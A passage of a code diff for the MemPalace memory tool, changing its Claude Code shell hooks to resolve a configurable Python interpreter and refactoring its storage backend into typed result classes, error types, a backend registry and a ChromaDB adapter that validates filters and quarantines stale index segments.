+MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}"
+if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then
+    MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)"
+fi
+
 # Read JSON input from stdin
 INPUT=$(cat)
 
-SESSION_ID=$(echo "$INPUT" | python3 -c "import sys,json; print(json.load(sys.stdin).get('session_id','unknown'))" 2>/dev/null)
+SESSION_ID=$(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "import sys,json; print(json.load(sys.stdin).get('session_id','unknown'))" 2>/dev/null)
 
 echo "[$(date '+%H:%M:%S')] PRE-COMPACT triggered for session $SESSION_ID" >> "$STATE_DIR/hook.log"
 
@@ -65,7 +72,7 @@ echo "[$(date '+%H:%M:%S')] PRE-COMPACT triggered for session $SESSION_ID" >> "$
 if [ -n "$MEMPAL_DIR" ] && [ -d "$MEMPAL_DIR" ]; then
     SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
     REPO_DIR="$(dirname "$SCRIPT_DIR")"
-    python3 -m mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1
+    mempalace mine "$MEMPAL_DIR" >> "$STATE_DIR/hook.log" 2>&1
 fi
 
 # Silent: return empty JSON to not block. "decision": "allow" is invalid —

hooks/mempal_save_hook.sh

@@ -61,13 +61,30 @@ mkdir -p "$STATE_DIR"
 # Leave empty to skip auto-ingest (AI handles saving via the block reason).
 MEMPAL_DIR=""
 
+# Resolve the Python interpreter the hook should use.
+#
+# Why this is nontrivial: GUI-launched Claude Code on macOS (or any harness
+# that doesn't inherit the user's shell PATH) may find a `python3` on PATH
+# that lacks mempalace — e.g. /usr/bin/python3 while the user installed
+# mempalace into a venv or pyenv. Users in that situation can point the
+# hook at the right interpreter by exporting MEMPAL_PYTHON.
+#
+# Resolution order (first hit wins):
+#   1. $MEMPAL_PYTHON          — explicit user override (absolute path)
+#   2. $(command -v python3)   — first python3 on the hook's PATH
+#   3. bare "python3"          — last-resort fallback (hope the PATH has it)
+MEMPAL_PYTHON_BIN="${MEMPAL_PYTHON:-}"
+if [ -z "$MEMPAL_PYTHON_BIN" ] || [ ! -x "$MEMPAL_PYTHON_BIN" ]; then
+    MEMPAL_PYTHON_BIN="$(command -v python3 2>/dev/null || echo python3)"
+fi
+
 # Read JSON input from stdin
 INPUT=$(cat)
 
 # Parse all fields in a single Python call (3x faster than separate invocations)
 # SECURITY: All values are sanitized before being interpolated into shell assignments.
 # stop_hook_active is coerced to a strict True/False to prevent command injection via eval.
-eval $(echo "$INPUT" | python3 -c "
+eval $(echo "$INPUT" | "$MEMPAL_PYTHON_BIN" -c "
 import sys, json, re
 data = json.load(sys.stdin)
 sid = data.get('session_id', 'unknown')
@@ -95,7 +112,7 @@ fi
 # Count human messages in the JSONL transcript
 # SECURITY: Pass transcript path as sys.argv to avoid shell injection via crafted paths
 if [ -f "$TRANSCRIPT_PATH" ]; then
-    EXCHANGE_COUNT=$(python3 - "$TRANSCRIPT_PATH" <<'PYEOF'
+    EXCHANGE_COUNT=$("$MEMPAL_PYTHON_BIN" - "$TRANSCRIPT_PATH" <<'PYEOF'
 import json, sys
 count = 0
 with open(sys.argv[1]) as f:
@@ -144,7 +161,6 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then
     # 1. TRANSCRIPT_PATH (from Claude Code) — mine the directory it lives in
     # 2. MEMPAL_DIR (user-configured) — mine that directory
     # At least one should work. If neither is set, nothing mines.
-    PYTHON="$(command -v python3)"
     MINE_DIR=""
     if [ -n "$TRANSCRIPT_PATH" ] && [ -f "$TRANSCRIPT_PATH" ]; then
         MINE_DIR="$(dirname "$TRANSCRIPT_PATH")"
@@ -153,7 +169,7 @@ if [ "$SINCE_LAST" -ge "$SAVE_INTERVAL" ] && [ "$EXCHANGE_COUNT" -gt 0 ]; then
         MINE_DIR="$MEMPAL_DIR"
     fi
     if [ -n "$MINE_DIR" ]; then
-        "$PYTHON" -m mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 &
+        mempalace mine "$MINE_DIR" >> "$STATE_DIR/hook.log" 2>&1 &
     fi
 
     # MEMPAL_VERBOSE toggle:

mempalace/__init__.py

@@ -4,10 +4,10 @@ import logging
 
 from .version import __version__  # noqa: E402
 
-# ChromaDB 0.6.x ships a Posthog telemetry client whose capture() signature is
-# incompatible with the bundled posthog library, producing noisy stderr warnings
-# on every client operation ("Failed to send telemetry event … capture() takes
-# 1 positional argument but 3 were given").  Silence just that logger.
+# chromadb telemetry: posthog capture() was broken in 0.6.x causing noisy stderr
+# warnings ("capture() takes 1 positional argument but 3 were given"). In 1.x the
+# posthog client is a no-op stub, so this is now harmless — kept as a guard in
+# case future chromadb versions re-introduce real telemetry calls.
 logging.getLogger("chromadb.telemetry.product.posthog").setLevel(logging.CRITICAL)
 
 # NOTE: the previous block set ``ORT_DISABLE_COREML=1`` on macOS arm64 as a

mempalace/backends/__init__.py

@@ -1,6 +1,64 @@
-"""Storage backend implementations for MemPalace."""
+"""Storage backend implementations for MemPalace (RFC 001).
 
-from .base import BaseCollection
+Public surface:
+
+* :class:`BaseCollection` — per-collection read/write contract.
+* :class:`BaseBackend` — per-palace factory contract.
+* :class:`PalaceRef` — value object identifying a palace for a backend.
+* :class:`QueryResult` / :class:`GetResult` — typed read returns.
+* Error classes: :class:`PalaceNotFoundError`, :class:`BackendClosedError`,
+  :class:`UnsupportedFilterError`, :class:`DimensionMismatchError`,
+  :class:`EmbedderIdentityMismatchError`.
+* Registry: :func:`get_backend`, :func:`register`, :func:`available_backends`,
+  :func:`resolve_backend_for_palace`.
+* In-tree Chroma default: :class:`ChromaBackend`, :class:`ChromaCollection`.
+"""
+
+from .base import (
+    BackendClosedError,
+    BackendError,
+    BaseBackend,
+    BaseCollection,
+    DimensionMismatchError,
+    EmbedderIdentityMismatchError,
+    GetResult,
+    HealthStatus,
+    PalaceNotFoundError,
+    PalaceRef,
+    QueryResult,
+    UnsupportedFilterError,
+)
 from .chroma import ChromaBackend, ChromaCollection
+from .registry import (
+    available_backends,
+    get_backend,
+    get_backend_class,
+    register,
+    reset_backends,
+    resolve_backend_for_palace,
+    unregister,
+)
 
-__all__ = ["BaseCollection", "ChromaBackend", "ChromaCollection"]
+__all__ = [
+    "BackendClosedError",
+    "BackendError",
+    "BaseBackend",
+    "BaseCollection",
+    "ChromaBackend",
+    "ChromaCollection",
+    "DimensionMismatchError",
+    "EmbedderIdentityMismatchError",
+    "GetResult",
+    "HealthStatus",
+    "PalaceNotFoundError",
+    "PalaceRef",
+    "QueryResult",
+    "UnsupportedFilterError",
+    "available_backends",
+    "get_backend",
+    "get_backend_class",
+    "register",
+    "reset_backends",
+    "resolve_backend_for_palace",
+    "unregister",
+]

mempalace/backends/base.py

@@ -1,49 +1,370 @@
-"""Abstract collection interface for MemPalace storage backends."""
+"""Storage backend contract for MemPalace (RFC 001).
+
+This module defines the surface every storage backend must implement:
+
+* ``BaseCollection`` — the per-collection read/write interface, kwargs-only.
+* ``BaseBackend`` — the per-palace factory, addressed by ``PalaceRef``.
+* ``QueryResult`` / ``GetResult`` — typed result dataclasses that replace the
+  Chroma dict shape as the canonical return type.
+* Error classes + ``HealthStatus`` — uniform across backends.
+
+This is the v1 cleanup from RFC 001 §10: full typed results, ``PalaceRef``,
+registry-ready ABC. Embedder injection, maintenance hooks, and the full
+conformance suite land in follow-up PRs.
+"""
 
 from abc import ABC, abstractmethod
-from typing import Any, Dict, List, Optional
+from dataclasses import dataclass
+from typing import ClassVar, Optional
+
+
+# ---------------------------------------------------------------------------
+# Errors
+# ---------------------------------------------------------------------------
+
+
+class BackendError(Exception):
+    """Base class for every storage-backend error raised by core."""
+
+
+class PalaceNotFoundError(BackendError, FileNotFoundError):
+    """Raised when ``get_collection(create=False)`` is called on a missing palace.
+
+    Subclass of ``FileNotFoundError`` so legacy callers that catch the latter
+    (pre-#413 seam) keep working unchanged.
+    """
+
+
+class BackendClosedError(BackendError):
+    """Raised when a backend method is called after ``close()``."""
+
+
+class UnsupportedFilterError(BackendError):
+    """Raised when a where-clause uses an operator the backend does not implement.
+
+    Silent dropping of unknown operators is forbidden by spec (RFC 001 §1.4).
+    """
+
+
+class DimensionMismatchError(BackendError):
+    """Raised when the embedding dimension on write does not match the collection."""
+
+
+class EmbedderIdentityMismatchError(BackendError):
+    """Raised when the stored embedder model name differs from the current one."""
+
+
+# ---------------------------------------------------------------------------
+# Value objects
+# ---------------------------------------------------------------------------
+
+
+@dataclass(frozen=True)
+class PalaceRef:
+    """A handle to a palace, consumed by backends.
+
+    ``id`` is always present and is the key backends use to cache handles.
+    ``local_path`` is populated for filesystem-rooted palaces.
+    ``namespace`` is used by server-mode backends for tenant / prefix routing.
+    """
+
+    id: str
+    local_path: Optional[str] = None
+    namespace: Optional[str] = None
+
+
+@dataclass(frozen=True)
+class HealthStatus:
+    ok: bool
+    detail: str = ""
+
+    @classmethod
+    def healthy(cls, detail: str = "") -> "HealthStatus":
+        return cls(ok=True, detail=detail)
+
+    @classmethod
+    def unhealthy(cls, detail: str) -> "HealthStatus":
+        return cls(ok=False, detail=detail)
+
+
+_TYPED_RESULT_FIELDS = ("ids", "documents", "metadatas", "distances", "embeddings")
+
+
+class _DictCompatMixin:
+    """Transitional dict-protocol access for typed results.
+
+    RFC 001 §1.3 spec is attribute access (``result.ids``). The ``result["ids"]``
+    and ``result.get("ids")`` forms are retained as a migration shim for callers
+    that predate the typed interface and are scheduled for removal in a follow-
+    up cleanup. New code MUST use attribute access.
+    """
+
+    def __getitem__(self, key: str):
+        if key in _TYPED_RESULT_FIELDS:
+            return getattr(self, key)
+        raise KeyError(key)
+
+    def get(self, key: str, default=None):
+        if key in _TYPED_RESULT_FIELDS:
+            val = getattr(self, key, default)
+            return default if val is None else val
+        return default
+
+    def __contains__(self, key: object) -> bool:
+        return key in _TYPED_RESULT_FIELDS and getattr(self, key, None) is not None
+
+
+@dataclass(frozen=True)
+class QueryResult(_DictCompatMixin):
+    """Typed return from ``BaseCollection.query``.
+
+    Outer list dimension = number of query vectors / texts.
+    Inner list dimension = hits per query (may be zero).
+
+    Fields not in ``include=`` at the call site are populated with empty lists
+    of the correct outer shape (never ``None``), except ``embeddings`` which
+    is ``None`` when not requested.
+    """
+
+    ids: list[list[str]]
+    documents: list[list[str]]
+    metadatas: list[list[dict]]
+    distances: list[list[float]]
+    embeddings: Optional[list[list[list[float]]]] = None
+
+    @classmethod
+    def empty(cls, num_queries: int = 1, embeddings_requested: bool = False) -> "QueryResult":
+        """Construct an all-empty result preserving outer dimension.
+
+        When ``embeddings_requested`` is True, ``embeddings`` preserves the outer
+        query dimension with empty hit lists (matching the spec's rule that fields
+        requested via ``include=`` carry the outer shape even when empty). When
+        False, ``embeddings`` stays ``None`` to signal the field was not requested.
+        """
+        empty_outer = [[] for _ in range(num_queries)]
+        return cls(
+            ids=[[] for _ in range(num_queries)],
+            documents=[[] for _ in range(num_queries)],
+            metadatas=[[] for _ in range(num_queries)],
+            distances=[[] for _ in range(num_queries)],
+            embeddings=empty_outer if embeddings_requested else None,
+        )
+
+
+@dataclass(frozen=True)
+class GetResult(_DictCompatMixin):
+    """Typed return from ``BaseCollection.get``."""
+
+    ids: list[str]
+    documents: list[str]
+    metadatas: list[dict]
+    embeddings: Optional[list[list[float]]] = None
+
+    @classmethod
+    def empty(cls) -> "GetResult":
+        return cls(ids=[], documents=[], metadatas=[], embeddings=None)
+
+
+# ---------------------------------------------------------------------------
+# Collection contract
+# ---------------------------------------------------------------------------
 
 
 class BaseCollection(ABC):
-    """Smallest collection contract the rest of MemPalace relies on."""
+    """Per-collection read/write surface every backend must implement."""
 
     @abstractmethod
     def add(
         self,
         *,
-        documents: List[str],
-        ids: List[str],
-        metadatas: Optional[List[Dict[str, Any]]] = None,
-    ) -> None:
-        raise NotImplementedError
+        documents: list[str],
+        ids: list[str],
+        metadatas: Optional[list[dict]] = None,
+        embeddings: Optional[list[list[float]]] = None,
+    ) -> None: ...
 
     @abstractmethod
     def upsert(
         self,
         *,
-        documents: List[str],
-        ids: List[str],
-        metadatas: Optional[List[Dict[str, Any]]] = None,
+        documents: list[str],
+        ids: list[str],
+        metadatas: Optional[list[dict]] = None,
+        embeddings: Optional[list[list[float]]] = None,
+    ) -> None: ...
+
+    @abstractmethod
+    def query(
+        self,
+        *,
+        query_texts: Optional[list[str]] = None,
+        query_embeddings: Optional[list[list[float]]] = None,
+        n_results: int = 10,
+        where: Optional[dict] = None,
+        where_document: Optional[dict] = None,
+        include: Optional[list[str]] = None,
+    ) -> QueryResult: ...
+
+    @abstractmethod
+    def get(
+        self,
+        *,
+        ids: Optional[list[str]] = None,
+        where: Optional[dict] = None,
+        where_document: Optional[dict] = None,
+        limit: Optional[int] = None,
+        offset: Optional[int] = None,
+        include: Optional[list[str]] = None,
+    ) -> GetResult: ...
+
+    @abstractmethod
+    def delete(
+        self,
+        *,
+        ids: Optional[list[str]] = None,
+        where: Optional[dict] = None,
+    ) -> None: ...
+
+    @abstractmethod
+    def count(self) -> int: ...
+
+    # ------------------------------------------------------------------
+    # Optional methods with ABC defaults (spec §1.2)
+    # ------------------------------------------------------------------
+
+    def estimated_count(self) -> int:
+        return self.count()
+
+    def close(self) -> None:
+        return None
+
+    def health(self) -> HealthStatus:
+        return HealthStatus.healthy()
+
+    def update(
+        self,
+        *,
+        ids: list[str],
+        documents: Optional[list[str]] = None,
+        metadatas: Optional[list[dict]] = None,
+        embeddings: Optional[list[list[float]]] = None,
     ) -> None:
-        raise NotImplementedError
+        """Default non-atomic update: get + merge + upsert.
+
+        Backends advertising ``supports_update`` MUST override with an atomic
+        single-round-trip implementation.
+        """
+        if documents is None and metadatas is None and embeddings is None:
+            raise ValueError("update requires at least one of documents, metadatas, embeddings")
+
+        n = len(ids)
+        for label, value in (
+            ("documents", documents),
+            ("metadatas", metadatas),
+            ("embeddings", embeddings),
+        ):
+            if value is not None and len(value) != n:
+                raise ValueError(f"{label} length {len(value)} does not match ids length {n}")
+
+        existing = self.get(ids=ids, include=["documents", "metadatas"])
+        by_id = {
+            rid: (existing.documents[i], existing.metadatas[i])
+            for i, rid in enumerate(existing.ids)
+        }
+        merged_docs: list[str] = []
+        merged_metas: list[dict] = []
+        for i, rid in enumerate(ids):
+            prev_doc, prev_meta = by_id.get(rid, ("", {}))
+            merged_docs.append(documents[i] if documents is not None else prev_doc)
+            new_meta = dict(prev_meta or {})
+            if metadatas is not None:
+                new_meta.update(metadatas[i] or {})
+            merged_metas.append(new_meta)
+        self.upsert(
+            documents=merged_docs,
+            ids=list(ids),
+            metadatas=merged_metas,
+            embeddings=embeddings,
+        )
+
+
+# ---------------------------------------------------------------------------
+# Backend contract
+# ---------------------------------------------------------------------------
+
+
+class BaseBackend(ABC):
+    """Long-lived factory serving many palaces (RFC 001 §2).
+
+    Instances are lightweight on construction — no I/O, no network. All
+    connection work is deferred to ``get_collection``. Instances are thread-
+    safe for concurrent ``get_collection`` calls across different palaces.
+    """
+
+    name: ClassVar[str]
+    spec_version: ClassVar[str] = "1.0"
+    capabilities: ClassVar[frozenset[str]] = frozenset()
 
     @abstractmethod
-    def update(self, **kwargs: Any) -> None:
-        """Update existing records. Must raise if any ID is missing."""
-        raise NotImplementedError
+    def get_collection(
+        self,
+        *,
+        palace: PalaceRef,
+        collection_name: str,
+        create: bool = False,
+        options: Optional[dict] = None,
+    ) -> BaseCollection: ...
 
-    @abstractmethod
-    def query(self, **kwargs: Any) -> Dict[str, Any]:
-        raise NotImplementedError
+    def close_palace(self, palace: PalaceRef) -> None:
+        """Evict cached handles for a single palace. Default: no-op."""
+        return None
 
-    @abstractmethod
-    def get(self, **kwargs: Any) -> Dict[str, Any]:
-        raise NotImplementedError
+    def close(self) -> None:
+        """Shut down the entire backend. Default: no-op."""
+        return None
 
-    @abstractmethod
-    def delete(self, **kwargs: Any) -> None:
-        raise NotImplementedError
+    def health(self, palace: Optional[PalaceRef] = None) -> HealthStatus:
+        return HealthStatus.healthy()
 
-    @abstractmethod
-    def count(self) -> int:
-        raise NotImplementedError
+    # Optional detection hint used by selection priority (RFC 001 §3.3 (4)):
+    @classmethod
+    def detect(cls, path: str) -> bool:  # pragma: no cover - default hook
+        return False
+
+
+# ---------------------------------------------------------------------------
+# Adapter utilities
+# ---------------------------------------------------------------------------
+
+
+# Keys the Chroma ``include=`` parameter accepts.
+_VALID_INCLUDE_KEYS = frozenset({"documents", "metadatas", "distances", "embeddings"})
+
+
+@dataclass
+class _IncludeSpec:
+    """Resolve an ``include=`` parameter with spec-mandated defaults."""
+
+    documents: bool = True
+    metadatas: bool = True
+    distances: bool = True  # only meaningful for query
+    embeddings: bool = False
+
+    @classmethod
+    def resolve(
+        cls, include: Optional[list[str]], *, default_distances: bool = True
+    ) -> "_IncludeSpec":
+        if include is None:
+            return cls(
+                documents=True,
+                metadatas=True,
+                distances=default_distances,
+                embeddings=False,
+            )
+        keys = {k for k in include if k in _VALID_INCLUDE_KEYS}
+        return cls(
+            documents="documents" in keys,
+            metadatas="metadatas" in keys,
+            distances="distances" in keys,
+            embeddings="embeddings" in keys,
+        )

mempalace/backends/chroma.py

@@ -1,17 +1,136 @@
-"""ChromaDB-backed MemPalace collection adapter."""
+"""ChromaDB-backed MemPalace storage backend (RFC 001 reference implementation)."""
 
+import datetime as _dt
 import logging
 import os
 import sqlite3
+from typing import Any, Optional
 
 import chromadb
 
-from .base import BaseCollection
+from .base import (
+    BaseBackend,
+    BaseCollection,
+    GetResult,
+    HealthStatus,
+    PalaceNotFoundError,
+    PalaceRef,
+    QueryResult,
+    UnsupportedFilterError,
+    _IncludeSpec,
+)
 
 logger = logging.getLogger(__name__)
 
 
-def _fix_blob_seq_ids(palace_path: str):
+_REQUIRED_OPERATORS = frozenset({"$eq", "$ne", "$in", "$nin", "$and", "$or", "$contains"})
+_OPTIONAL_OPERATORS = frozenset({"$gt", "$gte", "$lt", "$lte"})
+_SUPPORTED_OPERATORS = _REQUIRED_OPERATORS | _OPTIONAL_OPERATORS
+
+
+def _validate_where(where: Optional[dict]) -> None:
+    """Scan a where-clause for unknown operators and raise ``UnsupportedFilterError``.
+
+    Spec (RFC 001 §1.4): silent dropping of unknown operators is forbidden.
+    """
+    if not where:
+        return
+    stack = [where]
+    while stack:
+        node = stack.pop()
+        if not isinstance(node, dict):
+            continue
+        for k, v in node.items():
+            if k.startswith("$") and k not in _SUPPORTED_OPERATORS:
+                raise UnsupportedFilterError(f"operator {k!r} not supported by chroma backend")
+            if isinstance(v, dict):
+                stack.append(v)
+            elif isinstance(v, list):
+                stack.extend(x for x in v if isinstance(x, dict))
+
+
+def quarantine_stale_hnsw(palace_path: str, stale_seconds: float = 3600.0) -> list[str]:
+    """Rename HNSW segment dirs whose files are stale vs. chroma.sqlite3.
+
+    When a ChromaDB 1.5.x PersistentClient opens a palace whose on-disk
+    HNSW segment is significantly older than ``chroma.sqlite3``, the Rust
+    graph-walk can dereference dangling neighbor pointers for entries that
+    exist in the metadata segment but not in the HNSW index, and segfault
+    in a background thread on the next ``count()`` or ``query(...)`` call.
+
+    This is the same failure mode reported at #823 (semantic search stale
+    after ``add_drawer``), observed at neo-cortex-mcp#2 (SIGSEGV on
+    ``count()`` with chromadb 1.5.5), and acknowledged as by-design at
+    chroma-core/chroma#2594. On one fork palace (135K drawers), the drift
+    caused a 65–85% crash rate on fresh-process opens; fresh-process
+    crash rate dropped to 0% after the segment dir was renamed out of the
+    way and ChromaDB rebuilt lazily.
+
+    Heuristic: if ``chroma.sqlite3`` is more than ``stale_seconds`` newer
+    than the segment's ``data_level0.bin``, the segment is considered
+    suspect and renamed to ``<uuid>.drift-<timestamp>``. ChromaDB reopens
+    cleanly without it and writes fresh index files on next use. The
+    original directory is renamed, not deleted, so recovery remains
+    possible if the heuristic misfires.
+
+    The default threshold (1h) is deliberately conservative — ChromaDB's
+    HNSW flush cadence means legitimate drift is normally on the order of
+    seconds to minutes. A segment that is more than an hour out of date is
+    almost certainly in a "crashed mid-write" state.
+
+    Args:
+        palace_path: path to the palace directory containing ``chroma.sqlite3``
+        stale_seconds: minimum mtime gap to treat a segment as stale
+
+    Returns:
+        List of paths that were quarantined (empty if nothing drifted).
+    """
+    db_path = os.path.join(palace_path, "chroma.sqlite3")
+    if not os.path.isfile(db_path):
+        return []
+    try:
+        sqlite_mtime = os.path.getmtime(db_path)
+    except OSError:
+        return []
+
+    moved: list[str] = []
+    try:
+        entries = os.listdir(palace_path)
+    except OSError:
+        return []
+
+    for name in entries:
+        if "-" not in name or name.startswith(".") or ".drift-" in name:
+            continue
+        seg_dir = os.path.join(palace_path, name)
+        if not os.path.isdir(seg_dir):
+            continue
+        hnsw_bin = os.path.join(seg_dir, "data_level0.bin")
+        if not os.path.isfile(hnsw_bin):
+            continue
+        try:
+            hnsw_mtime = os.path.getmtime(hnsw_bin)
+        except OSError:
+            continue
+        if sqlite_mtime - hnsw_mtime < stale_seconds:
+            continue
+        stamp = _dt.datetime.now().strftime("%Y%m%d-%H%M%S")
+        target = f"{seg_dir}.drift-{stamp}"
+        try:
+            os.rename(seg_dir, target)
+            moved.append(target)
+            logger.warning(
+                "Quarantined stale HNSW segment %s (sqlite %.0fs newer than HNSW); renamed to %s",
+                seg_dir,
+                sqlite_mtime - hnsw_mtime,
+                target,
+            )
+        except OSError:
+            logger.exception("Failed to quarantine stale HNSW segment %s", seg_dir)
+    return moved
+
+
+def _fix_blob_seq_ids(palace_path: str) -> None:
     """Fix ChromaDB 0.6.x -> 1.5.x migration bug: BLOB seq_ids -> INTEGER.
 
     ChromaDB 0.6.x stored seq_id as big-endian 8-byte BLOBs. ChromaDB 1.5.x
@@ -43,62 +162,328 @@ def _fix_blob_seq_ids(palace_path: str):
         logger.exception("Could not fix BLOB seq_ids in %s", db_path)
 
 
+# ---------------------------------------------------------------------------
+# Collection adapter
+# ---------------------------------------------------------------------------
+
+
+def _as_list(v: Any) -> list:
+    """Coerce possibly-None scalar-or-list into a list (defensive for chroma nulls)."""
+    if v is None:
+        return []
+    if isinstance(v, list):
+        return v
+    return [v]
+
+
 class ChromaCollection(BaseCollection):
-    """Thin adapter over a ChromaDB collection."""
+    """Thin adapter translating ChromaDB dict returns into typed results."""
 
     def __init__(self, collection):
         self._collection = collection
 
-    def add(self, *, documents, ids, metadatas=None):
-        self._collection.add(documents=documents, ids=ids, metadatas=metadatas)
+    # ------------------------------------------------------------------
+    # Writes
+    # ------------------------------------------------------------------
 
-    def upsert(self, *, documents, ids, metadatas=None):
-        self._collection.upsert(documents=documents, ids=ids, metadatas=metadatas)
+    def add(self, *, documents, ids, metadatas=None, embeddings=None):
+        kwargs: dict[str, Any] = {"documents": documents, "ids": ids}
+        if metadatas is not None:
+            kwargs["metadatas"] = metadatas
+        if embeddings is not None:
+            kwargs["embeddings"] = embeddings
+        self._collection.add(**kwargs)
 
-    def update(self, **kwargs):
+    def upsert(self, *, documents, ids, metadatas=None, embeddings=None):
+        kwargs: dict[str, Any] = {"documents": documents, "ids": ids}
+        if metadatas is not None:
+            kwargs["metadatas"] = metadatas
+        if embeddings is not None:
+            kwargs["embeddings"] = embeddings
+        self._collection.upsert(**kwargs)
+
+    def update(
+        self,
+        *,
+        ids,
+        documents=None,
+        metadatas=None,
+        embeddings=None,
+    ):
+        if documents is None and metadatas is None and embeddings is None:
+            raise ValueError("update requires at least one of documents, metadatas, embeddings")
+        kwargs: dict[str, Any] = {"ids": ids}
+        if documents is not None:
+            kwargs["documents"] = documents
+        if metadatas is not None:
+            kwargs["metadatas"] = metadatas
+        if embeddings is not None:
+            kwargs["embeddings"] = embeddings
         self._collection.update(**kwargs)
 
-    def query(self, **kwargs):
-        return self._collection.query(**kwargs)
+    # ------------------------------------------------------------------
+    # Reads
+    # ------------------------------------------------------------------
 
-    def get(self, **kwargs):
-        return self._collection.get(**kwargs)
+    def query(
+        self,
+        *,
+        query_texts=None,
+        query_embeddings=None,
+        n_results=10,
+        where=None,
+        where_document=None,
+        include=None,
+    ) -> QueryResult:
+        _validate_where(where)
+        _validate_where(where_document)
 
-    def delete(self, **kwargs):
+        if (query_texts is None) == (query_embeddings is None):
+            raise ValueError("query requires exactly one of query_texts or query_embeddings")
+        chosen = query_texts if query_texts is not None else query_embeddings
+        if not chosen:
+            raise ValueError("query input must be a non-empty list")
+
+        spec = _IncludeSpec.resolve(include, default_distances=True)
+        chroma_include: list[str] = []
+        if spec.documents:
+            chroma_include.append("documents")
+        if spec.metadatas:
+            chroma_include.append("metadatas")
+        if spec.distances:
+            chroma_include.append("distances")
+        if spec.embeddings:
+            chroma_include.append("embeddings")
+
+        kwargs: dict[str, Any] = {
+            "n_results": n_results,
+            "include": chroma_include,
+        }
+        if query_texts is not None:
+            kwargs["query_texts"] = query_texts
+        if query_embeddings is not None:
+            kwargs["query_embeddings"] = query_embeddings
+        if where is not None:
+            kwargs["where"] = where
+        if where_document is not None:
+            kwargs["where_document"] = where_document
+
+        raw = self._collection.query(**kwargs)
+
+        num_queries = (
+            len(query_texts)
+            if query_texts is not None
+            else (len(query_embeddings) if query_embeddings is not None else 1)
+        )
+
+        ids = raw.get("ids") or []
+        if not ids:
+            return QueryResult.empty(
+                num_queries=num_queries,
+                embeddings_requested=spec.embeddings,
+            )
+
+        documents = raw.get("documents") or [[] for _ in ids]
+        metadatas = raw.get("metadatas") or [[] for _ in ids]
+        distances = raw.get("distances") or [[] for _ in ids]
+        embeddings_raw = raw.get("embeddings") if spec.embeddings else None
+
+        def _none_list_to_empty(outer):
+            return [(inner or []) for inner in outer]
+
+        return QueryResult(
+            ids=_none_list_to_empty(ids),
+            documents=_none_list_to_empty(documents),
+            metadatas=_none_list_to_empty(metadatas),
+            distances=_none_list_to_empty(distances),
+            embeddings=(
+                [list(inner) for inner in embeddings_raw]
+                if spec.embeddings and embeddings_raw is not None
+                else None
+            ),
+        )
+
+    def get(
+        self,
+        *,
+        ids=None,
+        where=None,
+        where_document=None,
+        limit=None,
+        offset=None,
+        include=None,
+    ) -> GetResult:
+        _validate_where(where)
+        _validate_where(where_document)
+
+        spec = _IncludeSpec.resolve(include, default_distances=False)
+        chroma_include: list[str] = []
+        if spec.documents:
+            chroma_include.append("documents")
+        if spec.metadatas:
+            chroma_include.append("metadatas")
+        if spec.embeddings:
+            chroma_include.append("embeddings")
+
+        kwargs: dict[str, Any] = {"include": chroma_include}
+        if ids is not None:
+            kwargs["ids"] = ids
+        if where is not None:
+            kwargs["where"] = where
+        if where_document is not None:
+            kwargs["where_document"] = where_document
+        if limit is not None:
+            kwargs["limit"] = limit
+        if offset is not None:
+            kwargs["offset"] = offset
+
+        raw = self._collection.get(**kwargs)
+        out_ids = list(raw.get("ids") or [])
+        out_docs = list(raw.get("documents") or []) if spec.documents else []
+        out_metas = list(raw.get("metadatas") or []) if spec.metadatas else []
+        out_embeds = raw.get("embeddings") if spec.embeddings else None
+
+        # Pad doc/meta lists to match ids so downstream zipping is safe.
+        if spec.documents and len(out_docs) < len(out_ids):
+            out_docs = out_docs + [""] * (len(out_ids) - len(out_docs))
+        if spec.metadatas and len(out_metas) < len(out_ids):
+            out_metas = out_metas + [{}] * (len(out_ids) - len(out_metas))
+
+        return GetResult(
+            ids=out_ids,
+            documents=out_docs,
+            metadatas=out_metas,
+            embeddings=[list(v) for v in out_embeds] if out_embeds is not None else None,
+        )
+
+    def delete(self, *, ids=None, where=None):
+        _validate_where(where)
+        kwargs: dict[str, Any] = {}
+        if ids is not None:
+            kwargs["ids"] = ids
+        if where is not None:
+            kwargs["where"] = where
         self._collection.delete(**kwargs)
 
     def count(self):
         return self._collection.count()
 
 
-class ChromaBackend:
-    """Factory for MemPalace's default ChromaDB backend."""
+# ---------------------------------------------------------------------------
+# Backend
+# ---------------------------------------------------------------------------
+
+
+class ChromaBackend(BaseBackend):
+    """MemPalace's default ChromaDB backend.
+
+    Maintains two caches:
+
+    * ``self._clients`` — ``palace_path -> PersistentClient`` for callers
+      using the ``PalaceRef`` / :meth:`get_collection` path.
+    * An inode+mtime freshness check absorbed from ``mcp_server._get_client``
+      (merged via #757) ensuring a palace rebuild on disk is detected on the
+      next :meth:`get_collection` call.
+    """
+
+    name = "chroma"
+    capabilities = frozenset(
+        {
+            "supports_embeddings_in",
+            "supports_embeddings_passthrough",
+            "supports_embeddings_out",
+            "supports_metadata_filters",
+            "supports_contains_fast",
+            "local_mode",
+        }
+    )
 
     def __init__(self):
-        # Per-instance client cache: palace_path -> chromadb.PersistentClient
-        self._clients: dict = {}
+        # palace_path -> PersistentClient
+        self._clients: dict[str, Any] = {}
+        # palace_path -> (inode, mtime) of chroma.sqlite3 at cache time.
+        self._freshness: dict[str, tuple[int, float]] = {}
+        self._closed = False
 
     # ------------------------------------------------------------------
     # Internal helpers
     # ------------------------------------------------------------------
 
+    @staticmethod
+    def _db_stat(palace_path: str) -> tuple[int, float]:
+        """Return ``(inode, mtime)`` of ``chroma.sqlite3`` or ``(0, 0.0)`` if absent."""
+        db_path = os.path.join(palace_path, "chroma.sqlite3")
+        try:
+            st = os.stat(db_path)
+            return (st.st_ino, st.st_mtime)
+        except OSError:
+            return (0, 0.0)
+
     def _client(self, palace_path: str):
-        """Return a cached PersistentClient for *palace_path*, creating one if needed."""
-        if palace_path not in self._clients:
+        """Return a cached ``PersistentClient``, rebuilding on inode/mtime change.
+
+        Handles the palace-rebuild case (repair/nuke/purge) by invalidating the
+        cache when ``chroma.sqlite3`` changes on disk. Mirrors the semantics of
+        ``mcp_server._get_client`` (merged via #757):
+
